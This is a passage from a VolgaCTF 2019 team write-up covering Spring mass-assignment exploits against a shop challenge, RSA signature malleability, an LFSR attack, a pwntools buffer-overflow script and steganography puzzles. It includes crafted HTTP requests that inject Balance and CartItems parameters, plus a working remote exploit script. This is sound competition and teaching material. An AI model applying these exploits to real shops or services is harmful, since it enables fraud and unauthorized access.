[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvmAIqXgZjw<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvmAIqXgZjw/</span>)
- you
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>ButbLhdlMXx<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/ButbLhdlMXx/</span>)
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvlyqodgZvm<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvlyqodgZvm/</span>)
- to
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BtvbtumnZ2c<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BtvbtumnZ2c/</span>)
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvlyelLgTFJ<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvlyelLgTFJ/</span>)
- make
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>Buq5w04FBPh<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/Buq5w04FBPh/</span>)
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvlxYTqAOku<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvlxYTqAOku/</span>)
- writeup
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>Bu6X0OTnVQ5<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/Bu6X0OTnVQ5/</span>)
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvlxAJyASSu<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvlxAJyASSu/</span>)
- <span class="hljs-keyword">for</span>
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvgpwcNBN7P<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvgpwcNBN7P/</span>)
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvlwIjZA-Ws<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvlwIjZA-Ws/</span>)
- this
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvgYaxchRzP<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvgYaxchRzP/</span>)
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvlwEm0gcOH<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvlwEm0gcOH/</span>)
- task
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BuWzZ_1Hpmp<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BuWzZ_1Hpmp/</span>)
[https:<span class="hljs-regexp">//</span>www.instagram.com<span class="hljs-regexp">/p/</span>BvkE3MRAMUU<span class="hljs-regexp">/](https:/</span><span class="hljs-regexp">/www.instagram.com/</span>p<span class="hljs-regexp">/BvkE3MRAMUU/</span>)
</code></pre><p><code>VolgaCTF{theflagisaskyoutomakewriteupforthistask}</code></p>
<h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="shop"><a class="header-link" href="#shop"></a>Shop</h3>
<p>The challenge was putting the flag in the database.
We have to use <code>1337</code> dollars to buy the flag.
But the default mount was 100 dollars, we don;t have enough money. </p>
<p><code>/robots.txt</code> give us a backup file <code>shop-1.0.0.war</code></p>
<p>Download and decompile it with JD-GUI or other tools you prefer.
After reading the source code, we notice the vulnerability is <code>mass assignment</code></p>
<p>reference about <code>mass assignment</code>:<a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Mass_Assignment_Cheat_Sheet.md">https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Mass_Assignment_Cheat_Sheet.md</a></p>
<p>And we reference this blog about <code>Spring MVC, Protect Yourself From Mass Assignment</code>: <a href="https://domineospring.wordpress.com/2015/05/18/spring-mvc-proteja-se-do-mass-assignment/">https://domineospring.wordpress.com/2015/05/18/spring-mvc-proteja-se-do-mass-assignment/</a></p>
<pre class="hljs"><code>@Entity
<span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> User
implements Serializable {
@Id
@GeneratedValue(strategy=GenerationType.IDENTITY)
<span class="hljs-keyword">private</span> <span class="hljs-keyword">Integer</span> id;
<span class="hljs-keyword">private</span> String <span class="hljs-keyword">name</span>;
<span class="hljs-keyword">private</span> String <span class="hljs-keyword">pass</span>;
<span class="hljs-keyword">private</span> <span class="hljs-keyword">Integer</span> balance;
@ManyToMany(targetEntity=<span class="hljs-built_in">Product</span>.<span class="hljs-keyword">class</span>, cascade={CascadeType.PERSIST, CascadeType.REFRESH})
<span class="hljs-keyword">private</span> List<<span class="hljs-built_in">Product</span>> cart;
<span class="hljs-keyword">public</span> User() {
}
<span class="hljs-keyword">public</span> User(String <span class="hljs-keyword">name</span>, String <span class="hljs-keyword">pass</span>, <span class="hljs-keyword">Integer</span> balance) {
this.<span class="hljs-keyword">name</span> = <span class="hljs-keyword">name</span>;
this.<span class="hljs-keyword">pass</span> = <span class="hljs-keyword">pass</span>;
this.balance = balance;
}</code></pre><p>We can easily modify <code>name</code>、<code>pass</code> and <code>balance</code>.</p>
<p><code>shop.q.2019.volgactf.ru/profile?name=wow! such mass assignment!&Balance=123123</code></p>
<p class="img-container"><img src="https://i.imgur.com/GatBb2N.png" alt=""></p>
<p>Let's focus on <code>/buy</code> Request</p>
<pre class="hljs"><code>
<span class="hljs-meta">@RequestMapping(value={<span class="hljs-meta-string">"/buy"</span>})</span>
<span class="hljs-keyword">public</span> String buy(<span class="hljs-meta">@RequestParam</span> Integer productId, <span class="hljs-meta">@ModelAttribute(value=<span class="hljs-meta-string">"user"</span>)</span> User user, RedirectAttributes redir, HttpServletRequest request) {
HttpSession session = request.getSession();
<span class="hljs-keyword">if</span> (session.getAttribute(<span class="hljs-string">"user_id"</span>) == <span class="hljs-literal">null</span>) {
<span class="hljs-keyword">return</span> <span class="hljs-string">"redirect:index"</span>;
}
Product product = <span class="hljs-keyword">this</span>.productDao.geProduct(productId);
<span class="hljs-keyword">if</span> (product == <span class="hljs-literal">null</span>) {
redir.addFlashAttribute(<span class="hljs-string">"message"</span>, (Object)<span class="hljs-string">"Product not found"</span>);
<span class="hljs-keyword">return</span> <span class="hljs-string">"redirect:index"</span>;
}
<span class="hljs-keyword">if</span> (product.getPrice() > user.getBalance()) {
redir.addFlashAttribute(<span class="hljs-string">"message"</span>, (Object)<span class="hljs-string">"Not enough money"</span>);
<span class="hljs-keyword">return</span> <span class="hljs-string">"redirect:index"</span>;
}
user.setBalance(Integer.valueOf(user.getBalance() - product.getPrice()));
user.getCartItems().add(product);
<span class="hljs-keyword">this</span>.userDao.update(user);
redir.addFlashAttribute(<span class="hljs-string">"message"</span>, (Object)<span class="hljs-string">"Successful purchase"</span>);
<span class="hljs-keyword">return</span> <span class="hljs-string">"redirect:profile"</span>;
}
</code></pre><p>Because we can easily control the <code>Balance</code>, this challenge can easy exploit by using <code>/buy</code> request.</p>
<pre class="hljs"><code>POST /buy HTTP/<span class="hljs-number">1.1</span>
......
productId=<span class="hljs-number">4</span>&Balance=<span class="hljs-number">123456</span>
</code></pre><p><code>VolgaCTF{c6bc0c68f0d0dac189aa9031f8607dba}</code></p>
<h3 id="shop-v2"><a class="header-link" href="#shop-v2"></a>Shop V2</h3>
<p>The challenge's vulnerability is same as the v1.
But we cannot use <code>/buy</code> request anymore.</p>
<pre class="hljs"><code> <span class="hljs-meta">@RequestMapping(value={<span class="hljs-meta-string">"/buy"</span>})</span>
<span class="hljs-keyword">public</span> String buy(<span class="hljs-meta">@RequestParam</span> Integer productId, <span class="hljs-meta">@ModelAttribute(value=<span class="hljs-meta-string">"user"</span>)</span> User user, RedirectAttributes redir, HttpServletRequest request) {
HttpSession session = request.getSession();
<span class="hljs-keyword">if</span> (session.getAttribute(<span class="hljs-string">"user_id"</span>) == <span class="hljs-literal">null</span>) {
<span class="hljs-keyword">return</span> <span class="hljs-string">"redirect:index"</span>;
}
redir.addFlashAttribute(<span class="hljs-string">"message"</span>, (Object)<span class="hljs-string">"Too easy"</span>);
<span class="hljs-keyword">return</span> <span class="hljs-string">"redirect:index"</span>;</code></pre><p>But there's a interesting things in <code>/profile</code></p>
<pre class="hljs"><code> <span class="hljs-meta">@RequestMapping(value={<span class="hljs-meta-string">"/profile"</span>})</span>
<span class="hljs-keyword">public</span> String profile(<span class="hljs-meta">@ModelAttribute(value=<span class="hljs-meta-string">"user"</span>)</span> User user, Model templateModel, HttpServletRequest request) {
HttpSession session = request.getSession();
<span class="hljs-keyword">if</span> (session.getAttribute(<span class="hljs-string">"user_id"</span>) == <span class="hljs-literal">null</span>) {
<span class="hljs-keyword">return</span> <span class="hljs-string">"redirect:index"</span>;
}
ArrayList cart = new ArrayList();
user.getCartItems().forEach(p -> cart.add(<span class="hljs-keyword">this</span>.productDao.geProduct(p.getId())));
templateModel.addAttribute(<span class="hljs-string">"cart"</span>, cart);
<span class="hljs-keyword">return</span> <span class="hljs-string">"profile"</span>;
</code></pre><p>Let's give it a test!</p>
<pre class="hljs"><code>POST /profile HTTP/<span class="hljs-number">1.1</span>
......
cart[<span class="hljs-number">0</span>].id=<span class="hljs-number">4</span>
</code></pre><p>Nothing happened :(</p>
<p>After trace the getter and setter, we notice that the real name isn't <code>cart</code> but <code>CartItems</code>.</p>
<pre class="hljs"><code> <span class="hljs-function"><span class="hljs-keyword">public</span> List<Product> <span class="hljs-title">getCartItems</span>(<span class="hljs-params"></span>) </span>{
<span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.cart;
}
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title">setCartItems</span>(<span class="hljs-params">List<Product> cart</span>) </span>{
<span class="hljs-keyword">this</span>.cart = cart;
}
</code></pre><p>Let's exploit again with <code>CartItems</code></p>
<pre class="hljs"><code>POST /profile HTTP/<span class="hljs-number">1.1</span>
......
CartItems[<span class="hljs-number">0</span>].id=<span class="hljs-number">4</span>
</code></pre><p>Then you'll see the flag in your profile.</p>
<p><code>VolgaCTF{e86007271413cc1ac563c6eca0e12b62}</code></p>
<h2 id="crypto"><a class="header-link" href="#crypto"></a>Crypto</h2>
<h3 id="beard-party"><a class="header-link" href="#beard-party"></a>Beard Party</h3>
<p>Coding challenge :D<br>Google the value of Sbox, you'll find a paper of <a href="https://www.intechopen.com/books/partition-based-trapdoor-ciphers/partition-based-trapdoor-ciphers">Partition-based Trapdoor Ciphers</a>.
Implement the algorithm to recover the secret key.
Note:</p>
<ol class="list">
<li>I can only find a picture of secret G's table, so I wrote a OCR using SVM to convert it to numbers.</li>
<li><code>u in t + V</code> implies <code>u + t in V</code>. Build a 1024 elements array for the existence of V, and check whether <code>u + t</code> is inside <code>V</code> would be much faster.</li>
<li>In filtering stage, maintain an array of valid plain/cipher pair's indices instead of looping through all the pairs again.</li>
<li>Generate all <code>2^15 * 1024</code> scores in parallel, than sort the scores at once instead of using priority queue.</li>
</ol>
<h3 id="blind"><a class="header-link" href="#blind"></a>blind</h3>
<h4 id="concept"><a class="header-link" href="#concept"></a>Concept</h4>
<p>This is a chal related to digital signature. we can do the following (I omit some useless things)</p>
<ol class="list">
<li>sign a command</li>
<li>call <code>ls</code> or <code>cat</code> after authentication</li>
</ol>
<p><code>cat</code> is black-listed command that forbid us to sign. However the way it check the black list is <code>Base64Decode(input) == 'cat'</code>, and it is easy to bypass.</p>
<h4 id="solution"><a class="header-link" href="#solution"></a>solution</h4>
<p>First use <code>ls</code> command and we can see that flag is stored in <code>flag</code>.
Then we can simply convert <code>cat flag</code> into integer and factor it into <code>a</code> <em> <code>b</code>. Since RSA is malleable, `sign(a </em> b) == (sign(a) * sign(b)) % n`, we can then get flag.</p>
<h3 id="shifter"><a class="header-link" href="#shifter"></a>shifter</h3>
<h4 id="concept-1"><a class="header-link" href="#concept-1"></a>Concept</h4>
<p>This is a classic LFSR problem..., except that we don't have a good way to reduce the number of possible sequences generated by the LFSR.</p>
<h4 id="solution-1"><a class="header-link" href="#solution-1"></a>Solution</h4>
<p>thank god we have a crpyto king!
@sasdf immediately post the solution and keep struggling with <code>Beard Party</code>.
<a href="https://en.wikipedia.org/wiki/Berlekamp%E2%80%93Massey_algorithm">https://en.wikipedia.org/wiki/Berlekamp%E2%80%93Massey_algorithm</a>
<a href="https://github.com/dqi/ctf_writeup/tree/master/2017/volgaquals/casino">https://github.com/dqi/ctf_writeup/tree/master/2017/volgaquals/casino</a>
the register length is 16, so we can simply bruteforce all possible start states. Also we can try to guess the start sequence in <code>flag.html</code> -- it is <code><!DOCTYPE HTML></code>.</p>
<h3 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h3>
<h4 id="warm"><a class="header-link" href="#warm"></a>Warm</h4>
<p>Guessing.....</p>
<pre class="hljs"><code>
<span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> string , itertools
<span class="hljs-comment"># VolgaCTF{1_h0pe_ur_wARM_up_a_1ittle}</span>
host , port = <span class="hljs-string">'warm.q.2019.volgactf.ru'</span> , <span class="hljs-number">443</span>
y = remote( host , port )
pwd = <span class="hljs-string">'v8&3mqPQebWFqM?x'</span>
f = <span class="hljs-string">'/opt/warm/flag'</span> <span class="hljs-comment"># Seek file with something more sacred!</span>
f = <span class="hljs-string">'/opt/warm/sacred'</span>
y.sendlineafter( <span class="hljs-string">'password!\n'</span> , pwd.ljust( <span class="hljs-number">0x64</span> , <span class="hljs-string">'\0'</span> ) + f )
y.interactive()</code></pre><h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="joi"><a class="header-link" href="#joi"></a>JOI</h3>
<p>Qrcode at red 0:
<img src="https://i.imgur.com/EaQny8m.png" alt=""></p>
<ul class="list">
<li>VolgaCTF{5t3g0_m4tr3shk4_in_4cti0n}<h3 id="higher"><a class="header-link" href="#higher"></a>Higher</h3>
Frequency: 15K ~ 20K:
<img src="https://i.imgur.com/JjbGDgi.jpg" alt=""></li>
<li>VolgaCTF{5t3g0_m4tr3shk4_in_4cti0n}</li>
</ul>
</article>
</div>
</div>
</body>
</html>